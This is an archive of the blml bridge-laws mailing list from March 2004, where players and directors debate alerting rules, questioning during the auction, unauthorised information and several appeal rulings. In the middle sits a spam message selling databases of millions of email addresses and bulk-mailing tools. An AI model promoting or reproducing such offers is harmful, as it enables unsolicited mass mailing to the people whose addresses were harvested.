Message-ID: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB176C@lonsc-s-031.europe.shell.com> [Konrad Ciborowski] This "middle-of-the-road" solution was chosen in Poland and it worked like a charm - now we have the best of both worlds.=20 [Frances] I find alerting rules an interesting special case in blml (and rgb and = other places): most people seem to think the solution chosen in their country is better = than elsewhere - not necessarily perfect, but better. =20 Strange, because generally is little chauvinism on this mailing list. I'm no exception; I think the EBU rules are the best ones around. This = must be influenced more by experience than most people think. From fvieira@fe.up.pt Tue Mar 9 14:49:41 2004 From: fvieira@fe.up.pt (Fernando Vieira) Date: Tue, 09 Mar 2004 14:49:41 +0000 Subject: [blml] Re: (blml) Should you point out infractions In-Reply-To: References: Message-ID: <404DD985.4080903@fe.up.pt> Tim West-Meads wrote: <.. snip ..> >So a meaningless revoke occurs, the players know it but also know that >if attention is drawn the TD must be called and will impose a >one-trick penalty - so nobody says anything because none of them want >that. You will think badly of these people? (another change I'd like to >see in the laws is for TDs to be able to waive penalties "on request" >rather than "for cause"). Until then we should respect the right of >people to follow the laws (whether it be refusing to condone a BOOT or not >drawing attention to their own revoke). > >Tim > > I may be wrong but I believe Law 81C -8 allows the TD to do so on request of NOS Fernando From t.kooyman@worldonline.nl Tue Mar 9 15:20:38 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Tue, 9 Mar 2004 16:20:38 +0100 Subject: [blml] Explain References: <00c001c405c1$f6be2520$7f9468d5@tinyhrieuyik> Message-ID: <00b101c405eb$4a2d9050$39ebf1c3@LNV> > Nigel, I will have a real thought about the explain idea. Nobody around me > has ever taken this seriously. Maybe because of Ton's local influence. > Whatever the rules are, and whatever their quality (some rules are not that > bad), Ton always claims the current rules to be 'perfect'. Rather silly and > not really a start of sensible discussion but that is the way Ton is. Nigel wrote something similar. But I have never said that the laws are perfect, certainly not in this thread. I haven't said anything about alerts etc. And concerning explanations the only issue I was addressing was the use of L73F2 to help declarer in case of a question by a future defender. My more general statement concerning the laws is that they are not as bad as many of you want to believe. You should change the last part of the last sentence in : that is the way 'my' (Jaap's) Ton is. Which has nothing to do with me, being ton From t.kooyman@worldonline.nl Tue Mar 9 15:29:10 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Tue, 9 Mar 2004 16:29:10 +0100 Subject: [blml] Explain References: <000f01c404e1$3d10a430$ab05e150@multivisionoem> <002201c40565$a9cd8230$8ae4403e@multivisionoem> <002c01c405b5$02002580$39ebf1c3@LNV> Message-ID: <00b201c405eb$4a678c10$39ebf1c3@LNV> > Ton Kooijman wrote > > >In the EBU a player may only ask > >for the meaning of a call if his action depends on the answer (I almost > >faint in disbelief writing this down). > David: > Well, you should, because it is not true. Then I don't. But tell me what IS true then. I mean in relation to questioning during the auction. This really is what I did understand from previous information. ton From blml@blakjak.com Tue Mar 9 16:55:05 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 9 Mar 2004 16:55:05 +0000 Subject: [blml] Explain In-Reply-To: <00b201c405eb$4a678c10$39ebf1c3@LNV> References: <000f01c404e1$3d10a430$ab05e150@multivisionoem> <002201c40565$a9cd8230$8ae4403e@multivisionoem> <002c01c405b5$02002580$39ebf1c3@LNV> <00b201c405eb$4a678c10$39ebf1c3@LNV> Message-ID: Ton Kooijman wrote >> Ton Kooijman wrote >> >In the EBU a player may only ask >> >for the meaning of a call if his action depends on the answer (I almost >> >faint in disbelief writing this down). >David: >> Well, you should, because it is not true. >Then I don't. But tell me what IS true then. I mean in relation to >questioning during the auction. This really is what I did understand from >previous information. There was a situation, especially at lower levels of the game, where it was quite clear who had the points: they were the ones asking the questions. So the EBU came up with some advice, which has slowly permeated into the English game, which is now played more ethically at all levels as a result. The basis of the advice was that it was dangerous to ask questions during the auction, and that they would therefore be better asked at the end of the auction. We have been told that this is wrong for a number of reasons. [1] It is illegal to say people cannot ask questions. This is the most frequent and most annoying criticism. We do not say that people cannot ask. [2] This constrains people who would ask all the time which solves the problems. This may be true. However, like so many other criticisms of the English application of Law [eg alerting Stayman] it tends to look a minority issue and ignore the majority issue. There was a serious problem: there is no longer a serious problem. If, before the advice was given, people had tended to ask all the time the advice would not have been needed. But they didn't, and in my opinion if we change our advice now, the number of players who ask all the time will increase from less than 1% to less than 2%. [3] The advice would not work in North America: ergo, it is wrong The game works differently in North America. When a player asks a question over there it means that he has realised you do not have an American accent, ergo you are a foreigner who eats babies and sends bombs to the peace-loving US, ergo you cannot play bridge, ergo he has to ask. Otherwise he never asks. *Of course* the advice should be different in a place where the style of asking is totally different. [4] The advice would not work in EBL/WBF tournaments: ergo, it is wrong One thing that seems to me clear from years of BLML, RGB and IBLF is that we seem to worry a bit more than most other jurisdictions about ruling the game at low levels. This advice of ours was not really designed for our top tournaments and top players, but more to deal with a problem in clubs and counties. So EBL/WBF tournaments are not relevant to whether our advice is any good: how would it do in ACBL clubs? in Dutch leagues, third division? in local Australian club Swiss Teams? Whether you approve of our advice or not, please remember two things before you criticise it: it is designed for the average English game, not for internationals: it does not forbid anyone from asking. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From gordon@gordonrainsford.co.uk Tue Mar 9 17:09:46 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Tue, 9 Mar 2004 17:09:46 +0000 Subject: [blml] Explain In-Reply-To: References: <000f01c404e1$3d10a430$ab05e150@multivisionoem> <002201c40565$a9cd8230$8ae4403e@multivisionoem> <002c01c405b5$02002580$39ebf1c3@LNV> Message-ID: <90A6828E-71EC-11D8-A15B-0003936A6522@gordonrainsford.co.uk> On 9 Mar 2004, at 13:42, David Stevenson wrote: > Ton Kooijman wrote > >> In the EBU a player may only ask >> for the meaning of a call if his action depends on the answer (I=20 >> almost >> faint in disbelief writing this down). > > Well, you should, because it is not true. What the Orange Book says is: "The right to ask questions is not a licence to do so without=20 consequence: if you ask about an unalerted call and then pass, you have=20= shown an interest which may influence your partner. Asking about an=20 alerted call and then bidding reduces this possibility, but in either=20 case if your partner acts in a way that suggests he has taken advantage=20= of your question, then unauthorised information may be deemed to have=20 been given. Similarly, if you ask a question and then pass, thus ending=20= the auction, your partner's choice of lead, from the logical=20 alternatives available, must not be one that could have been suggested=20= by your question. (Law 16A, 73F1) "Note: If, at your turn to call, you do not need to have a call=20 explained, it is in your interest to defer all questions until either=20 you are about to make the opening lead or your partner's lead is=20 face=ADdown on the table." From schuster@eduhi.at Tue Mar 9 17:45:01 2004 From: schuster@eduhi.at (Petrus Schuster OSB) Date: Tue, 09 Mar 2004 18:45:01 +0100 Subject: [blml] Windfall ? In-Reply-To: References: <009e01c40505$d570eea0$7ff9f1c3@LNV> Message-ID: ------- Forwarded message ------- From: Petrus Schuster OSB To: Ton Kooijman Subject: Re: [blml] Windfall ? Date: Mon, 08 Mar 2004 22:12:51 +0100 > On Mon, 8 Mar 2004 13:05:54 +0100, Ton Kooijman > wrote: > >> >>> When declarer leads from the wrong hand, either defender may accept the >>> lead or demand that it be retracted. >>> But strangely, this choice is not AI to partner if you follow the >>> interpretation of L16 favoured by Eminent Sources. >> >> >> Could you be more specific? What in L16 makes this UI? > >> And which >> remarks/statements by your Eminent Sources support that idea? > > The first sentence lists what is AI. Grattan, IIRC, has repeatedly > pointed out that this list is exhaustive, so anything else is UI. > >> Let me be more specific myself. Yes, L16A might support this approach. >> So we >> need to clear this. For example by saying that choices to accept or not >> made >> by opponents after irregularities are part of the legal calls and plays. >> But >> I don't remember that Eminent Sources have supported your interpretation >> explicitly. And I do not know a case in which a TD or even an AC has >> supported that interpretation. >> >> ton >> >> >> >> >>> As both accepting and refusing the lead as well leaving the choice to >>> partner may be relevant to partner's choice of play at a later trick, >>> 16A >>> seems to be a wonderful law for sloppy (or crafty?) declarers. >>> Mildly bemused, >>> -- Petrus >>> >>> _______________________________________________ >>> blml mailing list >>> blml@rtflb.org >>> http://www.amsterdamned.org/mailman/listinfo/blml >>> >> >> >> >> _______________________________________________ >> blml mailing list >> blml@rtflb.org >> http://www.amsterdamned.org/mailman/listinfo/blml >> >> > > > -- Petrus Schuster OSB From Frances.Hinden@Shell.com Tue Mar 9 17:45:20 2004 From: Frances.Hinden@Shell.com (Hinden, Frances SI-PXS) Date: Tue, 9 Mar 2004 17:45:20 -0000 Subject: [blml] An easy Ruling ?? Message-ID: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1772@lonsc-s-031.europe.shell.com> Teams match the following hand came up. N/S Vul Dealer East S Qx H Qxxx D AJTx C AKx West East S AKJ6 S 9x H Axx H KJTx D xxxx D KQx C xx C xxxx S T87xx H xx D xx C QJxx Bidding E S W N P P 1NT Dbl P(1) P(2) Rdbl P P 2S Dbl All Pass Result 2S-4* 1100 (1) Playing helvic - shows either a weak non touching suits runout or = happy to play in 1NT redoubled. Was not alerted. (2) South claims that if the pass was alerted he would have bid 2S = straight away making it impossible for West to double as west doesnt know what = hand type east has. East claims that had South bid 2S directly he would have doubled (2 way) = showing values allowing west to pass with spades or else bid. He felt with 21 = - 23 known points for his side this was automatic, resulting in the same = result. The appeals committee asked one of the top irish players (who happened = to be playing on another team) what he would do if 2S came back to him. He = felt double was a standout. On that basis the committee ruled result stands. Afterwards I was wondering if this was correct. The player they = consulted was far better than the actual East. Would the double have been normal for = this player and his peers in teams ?? After all its easy to say I would have = doubled after seeing the cards. K. -- [Frances] How can we answer without knowing this player, his standard or his = peers? South is correct it may be harder to pick him up if he can bid at once. = Therefore there is certainly the possibility of a favourable adjustment. =20 Personally I play East's double of 2S as take-out, and would be = defending 2Sx in exactly the way East described (except that my pass would just = have been to play in 1NTx, no escape mechanism) : but this agreement is on my = convention card so this would not have been an issue. By the way I find -1100 truly amazing. -500 is probably still a fair = few imps out, so this isn't really relevant, but how on earth did he hold himself to 4 tricks only? From john@asimere.com Tue Mar 9 17:53:47 2004 From: john@asimere.com (John (MadDog) Probst) Date: Tue, 9 Mar 2004 17:53:47 +0000 Subject: [blml] Explain In-Reply-To: References: <000f01c404e1$3d10a430$ab05e150@multivisionoem> <003301c4056b$d2305940$08284cd5@kocurzak> Message-ID: In article , Jaap van der Neut writes >Conrad: >> I thiink that French alerting rules are ridiculous. > >They are. But so are all alerting rules as long as there are no different >alerts for conventional and unusual, two unrelated concepts. Still everybody >playing the same system is an big advantage in the context of UI problems. > snip We get very little bridge played with screens in the UK. > I am curious because >lots of players will be playing screens for more or less the first time. And >specially at mixed this will have very interesting effects. [PC mode OFF] Advice: Don't put both wimmin the same side of the screen [PC mode ON] John > >Jaap > > >----- Original Message ----- >From: "Konrad Ciborowski" >To: >Sent: Tuesday, March 09, 2004 1:11 AM >Subject: Re: [blml] Explain > > >> >> ----- Original Message ----- >> From: "Jaap van der Neut" >> >> I wholeheartidilly agree with everything you wrote, Jaap >> except for the last paragraph: >> >> > If you have no idea where to start have a look at the French situation. >In >> > France the UI situation is IMHO better than anywhere else in the world. >> > First they all play more or less the same system (France is historically >> and >> > culturally a rather centralistic place) which means few questions. >> >> I thiink that French alerting rules are ridiculous. >> One of their rules is that all 2level openers >> are by default natural and strong. >> Everybody plays >> >> 2C - ART F1 >> 2D - ART GF >> 2HS - weaak two >> >> so everybody alerts these openings and nobody ask what they >> mean. When I played these openings >> >> 2D = multi >> 2HS = weak 5+-5+ >> >> my partner opened 2H, I alerted and ultumately got a good >> score because an opponent assumed a classical weak two. >> From then on I started prealerting our 2 level openers. >> Also I once played with classcial strong twos. >> I didn't alert them but nevertheless everybody >> asked - "are they really strong?" >> >> The alert regs should make people alert what is >> atypicall - not what is merely "artificial". >> >> >> >Second >> > they play way more competitions (also medium level) with screens than >any >> > other country. >> >> In Poland we have 16 teams in the First Division, 4 x 16 in the Second >> and 16 x ( 12-18 ) teams in the Third. That amounts to more than >> 300 teams in the first 3 divisions. All of them play with screens. >> Also the trials all played with screens almost from the earliest stages. >> Same goes for the MP Championships and many other major >> events. >> >> Konrad Ciborowski >> Krakow, Poland >> >> >> >> >> _______________________________________________ >> blml mailing list >> blml@rtflb.org >> http://www.amsterdamned.org/mailman/listinfo/blml > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From sqe@hotmail.com Tue Mar 9 21:34:14 2004 From: sqe@hotmail.com (sqe@hotmail.com) Date: Wed, 10 Mar 2004 05:34:14 +0800 Subject: [blml] Email Marketing Message-ID: Email Marketing ! We offer you e-mail addresses databases for advertisement mailing; we sell databases also carry out mailing and hosting for the advertising projects. Products World Email Lists . Their validity and originality are verified. web site: http://emailwd.vip.myrice.com/wd3.htm There are some sample download Country or area total emails and price America 175 Million Email Address $220 US Europe 156 Million Email Address $250 US Asia 168 Million Email Address $150 US China(PRC) 80 Million Email Address $200 US HongKong 3.25 Million Email Address $200 US TaiWan 2.25 Million Email Address $200 US Japan 27 Million Email Address $200 US Australia 6 Million Email Address $150 US Canda 10 Million Email Address $150 US Russia 38 Million Email Address $120 US England 3.2 Million Email Address $200 US German 20 Million Email Address $200 US France 38 Million Email Address $150 US India 12 Million Email Address $120 US CENTRAL & SOUTH AMERICAN AREA 40 Million Email Address $220 US MIDDLE EAST & AFRICA 45 million Email Address $220 US SOUTH EAST AREA 32 million Email Address $220 US other Country or Area ¡­¡­¡­¡­¡­¡­ order email : emailwd3@tom.com ---------------------------------------------------------------------------- Category Name total emails total price Apparel, Fashion, Textiles and Leather 4,654,565 $150 $100 US Automobile & Transportation 6,547,845 Business Services 6,366,344 Chemicals 3,445,565 Computer & Telecommunications 654,655 Construction & Real Estate 3,443,544 Consumer Electronics 1,333,443 Energy, Minerals & Metals 6,765,683 Environment 656,533 All Email Total: 150 U.S Food & Agriculture 1,235,354 Gems & Jewellery 565,438 Health & Beauty 804,654 Home Supplies 323,232 Industrial Supplies 415,668 Office Supplies 1,559,892 Packaging & Paper 5,675,648 Printing & Publishing 6,563,445 Security & Protection 5,653,494 Sports & Entertainment 3,488,455 Toys, Gifts and Handicrafts 2,135,654 --------------------------------------------------------------------------------------------- ¡¤All 136 nations , 40 trades email lists total price $500 US --------------------------------------------------------------------------------------------- $100 US V4.03 $200 US V3.0 $200 US $100 US --------------------------------------------------------------------------------------------- ¡¤All of Country email lists + email sender express +add url express + etrae express =$600 US --------------------------------------------------------------------------------------------- Details and order Click Here to web site: http://emailwd.vip.myrice.com/wd3.htm There are some sample download. If you can't see website ,please email us contact: emailwd3@tom.com Thank you! the silver star internet information company copyright¡¤2004-2005 all reserved ------------------------------------------------------------ remove please email: emailad1234@sina.com ------------------------------------------------------------ From richard.hills@immi.gov.au Tue Mar 9 22:52:10 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 10 Mar 2004 08:52:10 +1000 Subject: [blml] ethics or Ethics (was Should ... infractions) Message-ID: Walt umbraged: [snip] >>You are branding any player who follows >>the ethics and laws as written by the >>World Bridge Federation, but does not in >>addition to these follow your own personal >>ethics, as an unethical player. >> >>Is that correct? [snip] In "Forty Years On", Alan Bennett wrote: >FRANKLIN: Have you ever thought, Headmaster, >that your standards might perhaps be a >little out of date? > >HEADMASTER: Of course they're out of date. >Standards are always out of date. That is >what makes them standards. Richard James Hills clarifies: So, it is not correct that I am branding Walt as unethical. I am merely stating that the 1997 ethical standard defined in Law 72B3 is a little out of date in 2004. I agree with Walt that lower-case "ethics" are defined by the 1997 Laws. But the 1997 Laws are not as immutable as the Ten Commandments. The lower-case "ethics" of the 1997 Laws cannot bootstrap themselves unchanged into later being the new lower-case "ethics" of the 2006 Laws. Rather, the WBF Laws Commission has to consult platonic upper-case "Ethics" in deciding what the new lower-case "ethics" of the 2006 Laws should be. Historical note: Thanks to the influence of Edgar Kaplan, there was progressive "Ethical" improvement in the "ethics" of the 1975, 1987 and 1997 editions of the Laws. But, although Kaplan was "ethically" impeccable, Kaplan was not "Ethically" impeccable. Kaplan placed greater importance on reducing the competitive advantage of "Unethical" players vis-a-vis "Ethical" players, than the importance that Kaplan placed on "Ethical" Laws. Therefore, Kaplan strongly supported the current version of Law 72B3, which tells "Ethical" players that "Unethics" has been legalised as "ethics". Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From ereppert@rochester.rr.com Tue Mar 9 22:06:45 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Tue, 9 Mar 2004 17:06:45 -0500 Subject: [blml] Explain In-Reply-To: Message-ID: <0E1F7172-7216-11D8-94BA-0030656F6826@rochester.rr.com> On Tuesday, Mar 9, 2004, at 11:55 US/Eastern, David Stevenson wrote: > The game works differently in North America. When a player asks a > question over there it means that he has realised you do not have an > American accent, ergo you are a foreigner who eats babies and sends > bombs to the peace-loving US, ergo you cannot play bridge, ergo he has > to ask. Otherwise he never asks. heh. The North America you describe must be in a different ficton than the one I inhabit. :-) From ehaa@starpower.net Tue Mar 9 22:31:18 2004 From: ehaa@starpower.net (Eric Landau) Date: Tue, 09 Mar 2004 17:31:18 -0500 Subject: [blml] UI/MI/Pausing has it all ! In-Reply-To: <404dbebd.2718.0@esatclear.ie> Message-ID: <5.2.0.9.0.20040309172432.02353ad0@pop.starpower.net> At 07:55 AM 3/9/04, karel wrote: >In the same event as the previous post. > >Teams All vul dealer west > > S Jx > H Qxxxx > D xx > C K9xx >West East >S ATxxxx S QT >H xx H Kx >D K9 D QTxxx >C JTx C Axxx > S Kxx > H AJxx > D AJxx > C Qx > >West North East South >2D(1) P 2H 2NT >P 3D(2) Dbl P >3S P P 4H >P P 4S(3) Dbl >All pass > >result 4S dbled -3 800 > >(1) Multi 2D >(2) Meant as a transfer. Not alerted by south >(3) Asked what the 3D was. South said they had no agreement and >initially assumed >natural but based on the auction it seemed likely it was meant as a >transfer >to hearts. > >E/W appeal the result > >N/S play system on over 1NT overcalls etc. South said they had no >such agreement >over 2NT and was adamant they had no agreement in this situation. He >said that >had east passed 3D he would also have passed for a rotten score. > >East's double was made with an air of confidence. South felt this was >based >on trump lenght but as he had no reason to doubt his partner and as he >had 4 >trumps he was happy to pass. When West pulled the double East was >clearly unhappy. > >This now got South thinking. East it appeared had long diamonds as >opposed >to values in which case North couldnt have diamonds and had meant 3D >as a transfer. > South's hand was suitable for a heart contract so he bid 4H. He > admitted if >he was wrong then he was going for a telephone number but felt he was >entitled >to back his table presence. > >Your ruling pls. Based solely on what's related above, I don't see any infraction. Result stands, unless my investigation reveals some reason to disbelieve South's statement that they had no agreement about 3D. >if there was a disputed pause at Norths 3rd turn to bid how would this >effect >your ruling ?? Now there is UI, so we might have an infraction if we decide that the pause (a) occurred, and (b) suggested that South bid rather than sell out to 3S. Even so, if we "allow" South to bid rather than pass, we should have no quarrel with his bidding 4H -- North would have the same reason to huddle whether he were contemplating competing in D or H. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From HarrisR@missouri.edu Wed Mar 10 04:30:22 2004 From: HarrisR@missouri.edu (Robert E. Harris) Date: Tue, 9 Mar 2004 22:30:22 -0600 Subject: [blml] UI/MI/Pausing has it all ! In-Reply-To: <404dbebd.2718.0@esatclear.ie> References: <404dbebd.2718.0@esatclear.ie> Message-ID: Karel wqrites: >In the same event as the previous post. > >Teams All vul dealer west > > S Jx > H Qxxxx > D xx > C K9xx >West East >S ATxxxx S QT >H xx H Kx >D K9 D QTxxx >C JTx C Axxx > S Kxx > H AJxx > D AJxx > C Qx > >West North East South >2D(1) P 2H 2NT >P 3D(2) Dbl P >3S P P 4H >P P 4S(3) Dbl >All pass > >result 4S dbled -3 800 > >(1) Multi 2D >(2) Meant as a transfer. Not alerted by south >(3) Asked what the 3D was. South said they had no agreement and >initially assumed >natural but based on the auction it seemed likely it was meant as a transfer >to hearts. > >E/W appeal the result > > >N/S play system on over 1NT overcalls etc. South said they had no >such agreement >over 2NT and was adamant they had no agreement in this situation. >He said that >had east passed 3D he would also have passed for a rotten score. > >East's double was made with an air of confidence. South felt this was based >on trump lenght but as he had no reason to doubt his partner and as he had 4 >trumps he was happy to pass. When West pulled the double East was >clearly unhappy. > > >This now got South thinking. East it appeared had long diamonds as opposed >to values in which case North couldnt have diamonds and had meant 3D >as a transfer. > South's hand was suitable for a heart contract so he bid 4H. He admitted if >he was wrong then he was going for a telephone number but felt he was entitled >to back his table presence. > >Your ruling pls. Table action as described is certainly a basis for south's action, no adjustment. > >if there was a disputed pause at Norths 3rd turn to bid how would this effect >your ruling ?? Even so, as above. South seems to have plenty of reason to act. When AI is plenty strong to suggest strongly 4H over 4D or over pass, the only specific action a hesitation by north would seem to suggest is a diamond call. Of course, I really don't understand the Law here very well, and the suggested actions vs. others seem plenty clear to me here, but maybe more expert players and judges will find them otherwise. REH -- Robert E. Harris Phone: 573-882-3274. Fax: 573-882-2754 Department of Chemistry, University of Missouri-Columbia Columbia, Missouri, USA 65211 From richard.hills@immi.gov.au Wed Mar 10 05:44:55 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 10 Mar 2004 15:44:55 +1000 Subject: [blml] Catch-22 Message-ID: Nigel Guthrie ("Explain" thread): >>I agree with Richard, Jaap and the EBU that >>peculiar agreements should be highlighted on >>the front of the convention card and opponents' >>attention be drawn to them before play. I >>reckon that players can cope easily with that >>but with little more. >> >>Both Richard and Jaap are good Bridge players. >>Do they really believe that players would >>welcome even more complexity? Most people find >>alert procedures quite cumbersome already >>without having to memorise more categories. I >>suppose it might amuse TDs to have to rule >>about "the wrong kind of Alert". Frances Hinden: >I find alerting rules an interesting special >case in blml (and rgb and other places): >most people seem to think the solution chosen in >their country is better than elsewhere - not >necessarily perfect, but better. > >Strange, because generally is little chauvinism >on this mailing list. > >I'm no exception; I think the EBU rules are the >best ones around. This must be influenced more >by experience than most people think. Richard James Hills: Nigel has read my postings with insufficient care; I do not support Jaap's trial balloon of bipolar alerts during the auction. Frances is correct in stating that there is a *general* blml chauvinism about the blmler's local alert rules. However, there is one interesting exception to this chavinism; many ACBL-based blmlers are critical of the ACBL alert rules. Why? Because these ACBL-based blmlers agree with Nigel (and me) that the overly complex ACBL alert rules are self-defeating. The ACBL's quest for perfect ACBL alert rules is futile, when the complexity caused by crossing i's and dotting t's means that most ACBL-based players cannot remember all the details of the ACBL alert rules. With regards to the Aussie alert rules, I am not a wholehearted chauvinist. I believe that the ABF's alert philosophy of two decades ago was mediocre. However, in my opinion, the ABF's current self-alert philosophy revolutionised Aussie alert rules for the better. There is some objective evidence to support my chauvinist opinion. Two decades ago, a frequent reason for TD summonings in Australia was due to: (a) failure to alert, (b) perceived failure to alert, (c) alert gamesmanship, or (d) UI caused by an alert. Aussie TDs noted a dramatic drop in the frequency of alert-related TD summonings upon the ABF introducing the self-alert philosophy. This lower frequency of alert-related TD summonings has been maintained over subsequent years. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Wed Mar 10 06:03:15 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 10 Mar 2004 16:03:15 +1000 Subject: [blml] An easy Ruling ?? Message-ID: Karel: [snip] >>East claims that had South bid 2S directly he would >>have doubled (2 way) showing values allowing west to >>pass with spades or else bid. He felt with 21 - 23 >>known points for his side this was automatic, >>resulting in the same result. >> >>The appeals committee asked one of the top Irish >>players (who happened to be playing on another team) >>what he would do if 2S came back to him. He felt >>double was a standout. On that basis the committee >>ruled result stands. >> >>Afterwards I was wondering if this was correct. The >>player they consulted was far better than the actual >>East. Would the double have been normal for this >>player and his peers in teams ?? [snip] Frances: >How can we answer without knowing this player, his >standard or his peers? > >South is correct it may be harder to pick him up if he >can bid at once. Therefore there is certainly the >possibility of a favourable adjustment. [snip] RJH: I am dubious about the bunny East describing a double of 2S as 2-way. This sounds suspiciously like the "optional double" defence to 3-level preempts which was popular amongst Aussie bunnies in the 1980s. The options of the "optional double" were: Quick Double =3D penalty double Slow Double =3D takeout double Slow Pass =3D borderline takeout double Therefore, as TD, I would adjust the score to a result in 2S undoubled, since I would rule that East would choose a Slow Pass. :-) Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From grandeval@vejez.fsnet.co.uk Wed Mar 10 07:48:41 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Wed, 10 Mar 2004 07:48:41 -0000 Subject: [blml] Explain References: <000f01c404e1$3d10a430$ab05e150@multivisionoem> <002201c40565$a9cd8230$8ae4403e@multivisionoem> <002c01c405b5$02002580$39ebf1c3@LNV> Message-ID: <000901c40674$50f011e0$1c7487d9@4nrw70j> Grattan Endicott To: Sent: Tuesday, March 09, 2004 8:54 AM Subject: Re: [blml] Explain > Grattan: > > > +=+ My 'assumption' is that if a player asks a question > > which may mislead opponent he is subject to Law 73F2 > > in doing so. He must have a demonstrable bridge reason > > (sic) for asking. The following example is from play, not > > recently: > > > > 10 7 6 5 > > K Q 9 > > KQ J > > Q 7 2 > > o > > J 9 > > A J 10 6 3 > > 10.6.5. > > A K 9 > > At matchpoints NS have bid 1NT - 3NT. West leads H7. > > South (a player of international repute) contemplates > > dummy, puts up the HK, which holds. South asks West > > about signalling methods on opening leads then plays DK. > > West takes Ace and continues Hearts. (East's Spades are > > A Q 8 2.) Is the question acceptable or was it reasonable > > for West to be aggrieved? ~ Grattan ~ +=+ > > > In Dutch we used expressions a long time ago which translated sound like: > > 'a lamp-post is from iron too' with which one wanted to say that the answer > hadn't anything to do with the question. > > This is an example. We are not discussing the possibility that a question > could mislead an opponent. This specific problem is well known and was used > in the EBL-TD course. But no hair on my head was thinking for even a split > second to use a case in which a question about a call during the auction > could be used by declarer to claim redress because he felt misled. This is > not happening. > Let me repeat what the real discussion was. In the EBU a player may only ask > for the meaning of a call if his action depends on the answer (I almost > faint in disbelief writing this down). And then it went worse, bringing law > 73F2 in when the EBU condition for such a question is not fulfilled, saying > that asking without influencing the call to make, lacks a bridge reason. > > It is my strong belief that the EBU is on the wrong track. For sure in > relation to the present laws and hopefully also when looking at the new > edition. > +=+ I think you should begin again, ton, by actually reading whast the EBU says. As a member of the EBU panel of referees I do not recognise your description of it. The case which I quoted is from the EBL annals some years before you arrived. It was agreed to be a case where Law 73F2 should be applied. It would astound me if you thought otherwise. It does astound me that you apparently think just wanting to know the meaning of a call with no intention of doing anything but pass is a 'demonstrable bridge reason' if opponent is misled by the player's inferred interest. That was certainly not what we had in mind in 1987 and I have seen nothing with any authority since to alter the intention of the law as we framed it. It is a matter for the Director and the appeals committee to judge whether Law 73F2 applies in a specific case; the meaning of the words in the law is plain enough. The advice of the EBL Laws Committee was that: where a player's deceptive remark etc has led to a false inference on the part of an innocent opponent the Director is to consider whether the player whose action has led to the inference could have known at the time that it could work to his benefit. The Director is not required to establish that he did know, only that he could have known; intent is not therefore in question. An adjusted score is awarded unless the player has a demonstrable bridge reason for his action. That advice has never been changed to my knowledge. It is what the law says. The EBU advice, see the Orange Book, was originally based on it and is in keeping with the law. What the law should be in future is still an open question and I do not argue that what we have is satisfactory, only that it is what it is. ~ Grattan ~ +=+ From jaapvanderneut@hotmail.com Wed Mar 10 08:46:15 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Wed, 10 Mar 2004 09:46:15 +0100 Subject: [blml] Catch-22 References: Message-ID: RJH I do not support Jaap's trial balloon of bipolar alerts during the auction. I don't expect you or anyone to support this. Anyway it is not my idea, it was discussed in The Bridge World decade(s) ago. I might easily agree that it is too complex for general use. Still I mantain that alerting both normal conventional bids and abnormal natural bids (and ...) the same way makes alerting next to meaningless. Just see Conrad's mail about alerting a Polish 2H opener when playing in France. Do you agree on his approach to actively prealert (or double alert or whatever he does to make sure that his opps know what he is doing) ? If so you support the idea behind bipolar alerts as well because in the end it is the same thing. RJH Frances is correct in stating that there is a *general* blml chauvinism about the blmler's local alert rules. I think Francis also said this had to do with what you are used to. I agree. But I think all local alert rules are hopeless because they all start from a general idea that is hopeless. Once again see Conrad's mail. Because the French tried to follow the international rules they ended up with local regs that made all kind of bids alertable that are played identical by 99.9% of the local population. So if you alert a 2H opener (or 100 other bids) everybody just things you didn't forget to alert a convention in universal use. The idea that you might actually not play French Standard doesn't even enter their mind. Now is this the goal of alerts ? Jaap ----- Original Message ----- From: To: 